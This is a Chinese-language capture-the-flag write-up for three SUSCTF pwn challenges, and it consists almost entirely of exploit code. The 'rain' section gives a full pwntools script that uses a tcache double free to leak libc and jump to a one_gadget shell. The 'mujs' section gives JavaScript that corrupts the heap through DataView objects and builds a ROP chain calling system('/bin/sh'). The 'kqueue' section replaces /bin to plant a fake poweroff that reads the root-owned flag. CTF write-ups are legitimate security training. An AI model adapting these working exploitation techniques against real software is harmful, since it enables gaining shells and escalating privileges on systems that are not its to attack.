SUSCTF PWN Writeup

注意
本文最后更新于 2024-02-12,文中内容可能已过时。

rain

利用程序中的 realloc 来构造 double free,这个版本允许 Tcache double free

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./rain"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter("ch> ", str(idx))


def config(screen_height, screen_width, font_color, back_color, rainfall, table):
    choice(1)
    buf = p32(screen_height) + p32(screen_width) + (p8(font_color) + p8(back_color)) + p32(rainfall)
    buf = buf.ljust(18, '\x00')
    buf += table
    sh.sendafter("FRAME> ", buf)


def print_info():
    choice(2)


def rain():
    choice(3)



def pwn(sh, elf, libc):
    context.log_level = "debug"
    config(0, 0, 0, 0, 0, "a" * 0x40)
    rain()
    config(0, 0, 0, 0, 0, "a" * 0x68)
    config(0, 0, 1, 1, 0, "")
    config(0, 0, 1, 1, 0, "")
    print_info()
    sh.recvuntil('Table:            ')
    heap_offset = u64(sh.recvuntil('\n\n', drop=True).ljust(8, '\x00'))
    log.success("heap_offset:\t" + hex(heap_offset))
    config(0, 0, 1, 1, 0, p64(heap_offset + 0x8db0).ljust(0x68, 'a'))
    rain()
    config(0, 0, 1, 1, 0, 'a' * 0x68)
    rain()
    stdout_addr = 0x603020
    print_addr = 0x400E17
    node_buf = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(print_addr) + p64(stdout_addr) + p64(stdout_addr) + '\x00' * 8 + p64(0x31) + '\x00' * 0x18
    config(0, 0, 1, 1, 0, node_buf)
    print_info()
    libc_base = get_address(sh, True, offset=-0x3ec760)
    one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
    node_buf2 = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(libc_base + one_gadget[2]) + p64(stdout_addr) + p64(stdout_addr)
    #gdb.attach(sh, "b realloc")
    config(0, 0, 1, 1, 0, node_buf2)
    print_info()
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

mujs

似乎做复杂了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

dv = new DataView(0x68);
dv2 = new DataView(0x68);
dv3 = new DataView(0x68);
dv4 = new DataView(0x68);
for (var i = 0; i < 8; i++)
    dv.setUint8(i, 0x61);
dv3.setUint8(0x68, 0x81);
dv3.setUint8(0x69, 0x01);

for (var i = 0; i < 8; i++)
    dv2.setUint8(i, 0x61);

delete(dv2);
delete(dv3);
//delete(dv4);
//delete(dv);


dv5 = new DataView(0x178);
dv5.setUint8(0x128, 0x51);



var t3 = dv5.getUint32(0x138) - 0x470a0
var t4 = dv5.getUint32(0x138 + 0x4)


dv5.setUint32(0x48, 0x71);
dv5.setUint32(0x50, 0x10);
dv5.setUint32(0x54, 0x1);

dv5.setUint32(0x58, t3 + 0x470a0);
dv5.setUint32(0x58 + 0x4, t4);

var t1 = dv5.getUint32(0x140) - 0x20960
var t2 = dv5.getUint32(0x140 + 0x4)
print(t1)
print(t2)
dv5.setUint32(0x68, t1 + 0x7780);
dv5.setUint32(0x68 + 0x4, t2);
dv5.setUint8(0x70, 0x68);

dv5.setUint32(0x78, t3 + 0x472a0);
dv5.setUint32(0x78 + 0x4, t4);

var t5 = dv4.getUint32(0) - 0x1ec6a0
var t6 = dv4.getUint32(0 + 4)
print(dv4.getLength())
print(t3)
print(t4)

print(t5)
print(t6)

dv5.setUint32(0x78, t5 + 0x1ef2e0);
dv5.setUint32(0x78 + 0x4, t6);

var t7 = dv4.getUint32(0) - 0x108
var t8 = dv4.getUint32(0 + 4)

dv5.setUint32(0x78, t7);
dv5.setUint32(0x78 + 0x4, t8);


var pop_rdi_addr = t5 + 0x26b72
var system_addr = t5 + 0x55410
var bin_sh_addr = t5 + 0x1b75aa

dv4.setUint32(0, pop_rdi_addr + 1)
dv4.setUint32(0 + 4, t6)

dv4.setUint32(8, pop_rdi_addr)
dv4.setUint32(8 + 4, t6)

dv4.setUint32(0x10, bin_sh_addr)
dv4.setUint32(0x10 + 4, t6)

dv4.setUint32(0x18, system_addr)
dv4.setUint32(0x18 + 4, t6)


//while (true);

kqueue

非预期

1
2
mv /bin /BIN && /BIN/mkdir /bin && /BIN/chmod 777 /bin && /BIN/echo "/BIN/cat /flag" > /bin/poweroff && /BIN/chmod 777 /bin/poweroff
exit
0%